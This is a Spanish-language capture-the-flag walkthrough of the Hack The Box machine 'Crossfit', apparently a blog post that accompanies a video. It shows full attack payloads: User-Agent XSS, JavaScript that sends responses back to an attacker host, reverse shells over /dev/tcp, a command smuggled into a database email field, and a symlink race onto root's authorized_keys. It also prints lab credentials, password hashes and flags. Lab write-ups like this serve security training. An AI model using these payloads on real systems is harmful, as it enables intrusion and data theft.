CTF Crossfit

*Hackerñol CTF Demostraciones* [Edición de prueba 2]

Crossfit

esto complementa el video [1]:

asi que no os olvideis de leer esto mirando el video [2] y de paso suscribiros al canal asi nos ayudas y podemos hacer mas videos en general como este y otros.

Enumeracion y pasos con el video

sudo echo "10.10.10.208 crossfit.htb" >> /etc/hosts

Tipicos primeros pasos mientras voy pinchando en el puerto 80.

chikienumerator -t 10.10.10.208
nmap -Pn -sV -sC 10.10.10.208 -oA 10.10.10.208-manual-generic
nmap -sC -sV -vv -p 21 10.10.10.208 -oA 10.10.10.208-verbose

bueno pues

mas informacion como otro dominio o correo electronico

openssl s_client -connect crossfit.htb:21 -starttls ftp -servername crossfit.ht 

Encontramos otro vhost/dominio

gym-club.crossfit.htb

He corrido mi programa de GO para sacar mas subdominios y me han resuelto a codigo http 200 dos mas.

www
ftp

Vale pongamoslos en la lista en el hosts:

sudo sed -i 's/crossfit.htb/gym-club.crossfit.htb  www.gym-club.crossfit.htb ftp.gym-club.crossfit.htb/g' /etc/hosts

bueno exploremos:

http://gym-club.crossfit.htb/

Encuentro mas info en contactos:

Info.colorlib@gmail.com
info@gym-club.crossfit.htb 

Depues de un tiempo probando con zap me di cuenta que el msg de alerta sobre

ataque XSS lee el user-agent para mandar la informacion al log, por lo que igual

es vulnerable al correrlo.

Vale si lo es, puedes meter java script en el header usando el user-agent

aqui:

http://gym-club.crossfit.htb/blog-single.php

con zaproxy y mirando de ejemplo algunos enlaces como:

http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-June/011382.html

https://portswigger.net/web-security/cross-site-scripting/reflected

ves al formulario,

pon zap en modo de intercepcion

y pon esto en el formulario:

name=rek2&email=rek2%40rek2.htb&phone=1234567&message=%3Cscript%3E&submit=submit

OJO que ponemos en el message del formulario para forzar que el mismo mecanismo de deteccion de XSS corra nuestro payload :D

submit y intercepta el POST request en zap

y pon esto en el User-Agent:

User-Agent: </script>

ANTES de resumir y mandar el post al servidor abre un servicio de http localmente

python -m http.server 6667

vale ahora mandamos el POC y esperamos el GET desde el servidor.

❯ python -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
10.10.10.208 - - [22/Oct/2020 05:22:28] "GET / HTTP/1.1" 200 -

COOKIE! vale ya sabemos que es vulnerable.

lets create a payload

Vale busquemos una base de ejemplos para crear nuestros payloads para explorar

el servidor remoto usando esta vulnerabilidad:

https://mincong.io/2018/06/19/sending-http-request-from-browser/

La idea aqui es investigar si hay ficheros interesantes o partes que no veiamos etc.

tenemos el poc en poc.js

User-Agent: </script>

Despues de unas cuantas horas explorando, y encuentro que desde localhost(usando el XSS)

puedo ver otro vhost que solo acepta resquest de la maquina local, por lo cual se piensan que esta seguro... pues no.

Asi que investigando encontre un formulario para crear usuarios de FTP....

Voy a modificar el .js de arriba para crearme un usuario, pero no es tan facil que un simple post, tenemos que usar el token que es dinamico

por lo cual tenemos que meter este valor en una variable para poder mandarlo en el POST request junto con los parametros de usuario y password.

myhttpserver = 'http://10.10.14.11:9999'
targeturl = 'http://ftp.crossfit.htb/accounts/create'
username = 'rek2'
password = 'rek2'

req = new XMLHttpRequest;
req.withCredentials = true;
req.onreadystatechange = function() {
    if (req.readyState == 4) {
        req2 = new XMLHttpRequest;
        req2.open('GET', myhttpserver + btoa(this.responseText), false);
        req2.send();
    }
}
req.open('GET', targeturl, false);
req.send();

regx = /token" value="(.*)"/g;
token = regx.exec(req.responseText)[1];

var params = '_token=' + token + '&username=' + username + '&pass=' + password + '&submit=submit'
req.open('POST', "http://ftp.crossfit.htb/accounts", false);
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send(params);

Vale esto hay que hacerlo rapidito

me bajo un cliente ftp que acepta certificados y sesion segura como lftp

yay -S lftp

y ponemos:

lftp
set ftp:ssl-force true
connect crossfit.htb
set ssl:verify-certificate no
login rek2
rek2

Para no repetir puse las opciones en la configuracion

mkdir ~/.lftp

vim ~/.lftp/rc

Informacion que me ayudo:

https://www.librebyte.net/en/ftp/lftp-fatal-error-certificate-verification-not-trusted/

Bueno ahora ya enumerando el servicio de FTP encuentro una carpeta llamada development-test

en la cual tengo permiso para escribir, por lo tanto puedo subir mi rek2.php que es un revershe php shell

pensando siempre que la aplicacion es php, y que las demas carpetas son vhosts, asi que esto seguro que es otro vhosts.

& /dev/tcp/10.10.14.23/6667 0>&1'"); ?>

hacemos:

cd development-test

put rek2.php

ahora tenemos que hacer esto rapido por que se borra!

modifica el poc.js para que correr rek2.php en el dominio ese.

req = new XMLHttpRequest;
req.open('GET', "http://development-test.crossfit.htb/rek2.php");
req.send();

y ya!

www-data@crossfit:/var/www/development-test$ ls
ls
rek2.php
www-data@crossfit:/var/www/development-test$ whoami
whoami
www-data
python3 -c 'import pty;pty.spawn("/bin/bash")'

cookies! ahora a subir linpeas

cd /var/www/development-test

wget http://10.10.14.23:9999/linpeas

chmod 755 linpeas

corriendo linpeas encontramos esto en el output:

[+] Searching specific hashes inside files - less false positives (limit 70)
/etc/ansible/playbooks/adduser_hank.yml:$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/
/var/www/ftp/database/factories/UserFactory.php:$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

en:

/etc/ansible/playbooks/adduser_hank.yml
/var/www/ftp/database/factories/UserFactory.php

vale pongamos el hash en un fichero:

$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/

y es hora de crackear!

yay -S cuda
yay -S opencl-nvidia

Usamos hashcat, pero john tambien os puede servir claro.

hashcat -m 1800 -a 0 hashes ~/seclists/Passwords/Leaked-Databases/rockyou.txt

vale sacamos uno de los hashes con powerpuffgirls

y...

su hank
powerpuffgirls

a por la banderita!

cat user.txt
72185519bb3bbf9087bfd550a5fdec37

Y como tenemos las credenciales y en la enumeracion vemos que sshd acepta passwords podemos entrar por ssh

ssh hunk@crossfit.htb

hunk

powerpuffgirls

Vale ahora enumerando como hunk encontramos algo interesante en el crontab

el script de php send_updates.php corre cada minuto!!!

hank@crossfit:/home/isaac/send_updates$ ls
ls
composer.json  composer.lock  includes  send_updates.php  vendor

cat el fichero

y podemos ver la vulnerabilidad en la siguiente linea:

$command->addArg($row['email'], $escape=true);

podemos comprobar que si la libreria de mikehaertl no protege de lo que lee en la base de datos.. por lo cual podemos pasarle un comando

Mirando en el repositorio de la libreria (podeis ver la version en el fichero composer.json) hay un problema en este issue#44

https://github.com/mikehaertl/php-shellcommand/issues/44

vale pues ahora nos hace faltan credenciales de ftp para poder injectar los comandos en la base de datos para que los lea el script de php y los corra.

Ya antes haciendo enumeracion vi los credenciales en /var/www/gym-club/db.php lo puse de lado por si ma hacen falta, y pues sip. nos hacen falta ahora.

cat /var/www/gym-club/db.php

...
$dbuser = "crossfit";
$dbpass = "oeLoo~y2baeni";
...

en la enumeracion hicimos un:

find / -group admins 2>/dev/null

ya que con el comando

id

Vimos que somos parte del group admin y por lo tanto SIEMPRE se tiene que buscar por ficheros y carpetas en los que podemso leer/escribir etc.

y pues bien encontramos tambien credenciales en los ficheros de pam.d en vsftp para ser mas exactos:

creds: (user=ftpadm and password=8W)}gpRJvAmnb)

find / -group admins 2>/dev/null

leamos...

cat /etc/pam.d/vsftpd

...

auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3

account sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3

...


Vale ahora tenemos un usuario de FTP real con lo que poder crear un msg.
por lo cual el ataque va a consistir en dos pasos enlazados.


lftp -u ftpadm ftpadmin.htb

8W)}gpRJvAmnb

cd messages

put rek2.php


../listen-to 6668

ahora metemos en la db:

mysql -h localhost -u crossfit -poeLoo~y2baeni

use crossfit

insert into users (id, email) values (1337,"-E $(bash -c 'bash -i >& /dev/tcp/10.10.14.23/6668 0>&1')");

select * from users;


esto tiene que ser rapido y a veces si tienes mala suerte lo subes cuando esta borrando, ya que borra cada 5-10m asi que igual te toca 
tratar mas de una vez...


❯ ../listen-to 6668

Listening on any address 6668

Connection from 10.10.10.208:56838

bash: cannot set terminal process group (11411): Inappropriate ioctl for device

bash: no job control in this shell

isaac@crossfit:~$ whoami

whoami

isaac


vale ya nos hemos movido lateralmente en el sistema:
limpiemos la shell

python3 -c 'import pty;pty.spawn("/bin/bash")'


ahora unas horas de enumeracion y la parte que nos muestra el camino es pspy

yay -S pspy

cp /usr/bin/pspy .

python -m http.server 9999

wget http://10.10.14.23:9999/pspy

chmod 755 pspy

pspy -f


que version de pspy necesitamos:

cat /proc/cpuinfo

ok 64 bit

podeis subir el pspy local or un binario precompilado por si teneis problemas con las librerias libc ya que no creo que sean iguales:
https://github.com/DominicBreuker/pspy/releases
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64


Venga, ahora con pspy encontramos /usr/bin/dbmsg que corre cada minuto!!!


Necesimotas inspecionar el binario localmente asi que scp a tu ordenador:

scp hank@crossfit.htb:/usr/bin/dbmsg .

analiza con radare2! binwalk etc...


Ahora pensemos que podemos hacer:

md5(str(random_number) + str(msg_id))



creamos el programita:

include

include

include

int main(void)

{

srand(time(0));

printf("%d", rand());

return 0;

}


lo subimos con hank y lo COPIAMOS al home de isaac

scp rek2genrand.c hank@crossfit.htb:

gcc rek2genrand.c -o rek2genrand

chmod 755 rek2genrand


vale la idea ahora es de crear un fichero que contenga ese numero aleatorio ANTES de que dbmsg lo sobre escriba.
el exploit es por que podemos crear un enlace simbolico (symlink) a /root/.ssh/authorized_keys y dbmsg escribira
lo que HAY en la base de datos(nuestro comando que sera una llave publica ssh) y por lo cual como es una symlink lo escribe tambien en 
authorized_keys. asi de facil :D


asi que creamos un par de llaves ssh para que dbmsg se encarge de ponerlo en el .ssh de root.

ssh-keygen -t ed25519 -f id_rsa


cat id_rsa.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHQyRjMI3qwjlYwdmpyFSUItJMzDfN3ATPa47t1quwcp rek2@rek2system




manos a la obra!

mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email, message) values (1, "ssh-ed25519", "rek2@rek2system","AAAAC3NzaC1lZDI1NTE5AAAAIHQyRjMI3qwjlYwdmpyFSUItJMzDfN3ATPa47t1quwcp");'



ahora RAPIDAMENTE corre:

while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./rek2genrand)1 | md5sum | cut -d " " -f 1) 2>/dev/null; done


corre esto como USUARIO ISAAC no como usuario hunk!!


❯ ssh -i id_rsa root@10.10.10.208

Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Mon Sep 21 04:46:55 2020

root@crossfit:~# whoam i

-bash: whoa: command not found

root@crossfit:~# export TERM=xterm

root@crossfit:~# ls

cleanup.sh delete_ftp_users.sh root.txt

root@crossfit:~# cat root.txt

e011f2469d45590644d3800b6690d9d1






## References

=> https://odysee.com/@Hackernol:7/Hackerñol-CTF-Demostraciones---Hack-The-Box---Crossfit----Edición-de-prueba-2--Spoilers-:f?r=Da6VzVnRkjDmMrEw8GFuevZLVmEcxvmm [1] el video (https://odysee.com/@Hackernol:7/Hackerñol-CTF-Demostraciones---Hack-The-Box---Crossfit----Edición-de-prueba-2--Spoilers-:f?r=Da6VzVnRkjDmMrEw8GFuevZLVmEcxvmm)
=> https://odysee.com/@Hackernol:7/Hackerñol-CTF-Demostraciones---Hack-The-Box---Crossfit----Edición-de-prueba-2--Spoilers-:f?r=Da6VzVnRkjDmMrEw8GFuevZLVmEcxvmm [2] video (https://odysee.com/@Hackernol:7/Hackerñol-CTF-Demostraciones---Hack-The-Box---Crossfit----Edición-de-prueba-2--Spoilers-:f?r=Da6VzVnRkjDmMrEw8GFuevZLVmEcxvmm)


## Related articles

=> /post/historiadegruposanarquista/index.gmi Hackea el sistema! Los grupos anarquistas de hacking: <no value>
=> /post/2600_madrid/index.gmi 2600 Madrid: <no value>
=> /post/el_hacking_no_es_un_crimen/index.gmi El hacking NO es un crimen: <no value>
---


=> /post/jeremmy_hammond/index.gmi ← Newer: Jeremy_Hammond
=> /post/que_es_cyberpunk/index.gmi → Older: Que_es_cyberpunk


█████ █████ █████ █████ █████ █████ █████ █████

░░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░


Hispagatos is an Anarcho Hacker collective[1] that resolves around the Hacker ethic[2] of Steven levy and Libertarian Socialism ideas. 
We work hard to preserve hacker culture, decentralization,security and privacy in cyberspace and also motivate towards  an horizontal  and non hierarchical techno-anarcho-communist society (TACS) where technology is made by people for the people not by corporate masters to control people. a(A)a

=> https://www.noisebridge.net/wiki/Anarchisthackers 1: Anarcho Hacker collective 
=> https://en.wikipedia.org/wiki/Hacker_ethic 2: Hacker Ethic
=> https://en.wikipedia.org/wiki/Libertarian_socialism 3: Libertarian Socialism 


[donate using LiberaPay](https://liberapay.com/Hispagatos/donate)